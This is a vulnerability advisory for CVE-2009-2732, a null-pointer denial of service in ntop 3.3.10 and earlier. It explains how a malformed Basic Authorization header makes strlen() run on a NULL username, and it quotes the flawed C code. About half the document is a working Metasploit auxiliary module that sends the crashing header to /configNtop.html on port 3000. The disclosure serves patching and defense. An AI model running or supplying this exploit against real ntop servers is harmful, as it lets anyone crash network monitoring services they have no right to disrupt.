ntop 3.3.10 Denial Of Service

                Title: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service
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Vendor: ntop

Vendor URL: www.ntop.org

Vendor Response: None

Description:

A denial of service condition can be reached by specifying an invalid value for the Authorization 
HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
a colon. When no colon exists in the decoded string the username is left at its default NULL value. 
During the authentication process the length of the username is computed via strlen(), which results
in a segmentation fault when it processes the null value. 

Code:

static int checkHTTPpassword(char *theRequestedURL,
                             int theRequestedURLLen _UNUSED_,
                             char* thePw, int thePwLen) {
  char outBuffer[65], tmpOutBuffer[65], *user = NULL, users[LEN_GENERAL_WORK_BUFFER];

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     if(outBuffer[i] == ':') {
        outBuffer[i] = '\0';
        user = outBuffer;
        break;
      }
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if(strlen(user) >= sizeof(theHttpUser)) user[sizeof(theHttpUser)-1] = '\0';
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Affected Operating Systems:
Only tested on Linux

Affected Versions:
ntop <= 3.3.10

CVE: CVE-2009-2732

Credit:

Brad Antoniewicz

brad.antoniewicz@foundstone.com


code:

START modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos
  
  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'NTOP <= 3.3.10 Basic Authorization DoS',
      'Description'    => %q{
        A denial of service condition can be reached by specifying an invalid value for the Authorization 
        HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
        a colon. When no colon exists in the decoded string the username is left at its default NULL value. 
        During the authentication process the length of the username is computed via strlen(), which results
        in a segmentation fault when it processes the null value. 
      },
      'Author'         => 'Brad Antoniewicz <brad.antoniewicz@foundstone.com>',
      'License'        => MSF_LICENSE,
      'Version'        => '1',
      'References'     => [
        [ 'BID', 'None'],
        [ 'CVE', 'CVE-2009-2732']
        
      ],
      'DisclosureDate' => 'Aug 08 2009'))
      register_options( [Opt::RPORT(3000),], self.class )

  end

  def run
    begin
      o = {
        'uri' => '/configNtop.html',
        'headers' => {
          'Authorization' => 'Basic A=='
        }
      }

      c = connect(o)
      c.send_request(c.request_raw(o))

      print_status("Request sent to #{rhost}:#{rport}")
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_status("Couldn't connect to #{rhost}:#{rport}")
    rescue ::Timeout::Error, ::Errno::EPIPE      
    end
  end
end

END modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------<p>